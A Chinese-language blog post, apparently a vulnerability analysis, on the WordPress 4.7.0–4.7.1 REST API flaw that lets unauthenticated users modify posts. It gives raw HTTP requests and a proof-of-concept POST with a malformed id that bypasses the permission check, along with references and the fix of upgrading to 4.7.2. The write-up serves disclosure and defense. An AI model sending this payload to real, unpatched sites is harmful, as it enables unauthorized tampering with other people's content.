最新消息:域名抢注回来了,哈哈,开心~~恩,有时间在折腾下...

WordPress又曝漏洞:REST API由于权限控制失效致内容注入

漏洞分析 evil 22浏览 0评论

WordPress最近曝出内容注入漏洞,影响到REST API——来自Sucuri的安全研究人员最先发现该漏洞。未经授权的攻击者利用该漏洞可注入恶意内容,以及进行提权,对文章、页面等内容进行修改。REST API是最近添加到WordPress 4.7.0并默认启用的。

鉴于WordPress使用的广泛性,该漏洞的影响还是比较大的。使用WordPress REST API是简便高效的通过 JSON 格式传输数据访问或控制 WordPress 站点内容的方法。API 提供了对用户、文章、分类等不同功能的控制,也可以通过 API 检索或修改文章。Wordpress REST API 插件在 4.70 集成到 WordPress 中,由于权限控制失效导致内容注入或修改。WordPress开发团队已经与Sucuri配合在最新的4.7.2版本中修复了该漏洞。

漏洞名称:

WordPress REST API 内容注入/权限提升

影响版本:

4.7.0 – 4.7.1

漏洞详情:

WordPress 在4.7.0版本后集成了原REST API插件的功能

Permalinks设置为非Plain模式

使用WordPress程序的网站首页上会有:

<{link} rel="https://api.w.org/" href="http://www.xxx.com/wp-json/">

API地址则为:http://www.xxx.com/wp-json/

查看文章列表

GET /index.php/wp-json/wp/v2/posts HTTP/1.1

Host: xxx.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36

Content-Length: 4

根据文章列表可以找到对应的id,检索文章

GET /index.php/wp-json/wp/v2/posts/500 HTTP/1.1

Host: xxx.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36

Content-Length: 4

修改文章

POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1

Host: xxx.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36

Content-Type: application/json

Content-Length: 43 

{"title":"x x x x"}

如果返回401则无权限修改

详细的API使用方法见:http://v2.wp-api.org/

漏洞PoC:

POST /index.php/wp-json/wp/v2/posts/500?id=500a HTTP/1.1

Host: xxx.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36

Content-Type: application/json

Content-Length: 43 

{"title":"xxxx"}

返回200修改成功

修复方案:升级到4.7.2

参考来源:

https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

http://v2.wp-api.org/

与本文相关的文章

  • 暂无相关文章!
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址 (选填)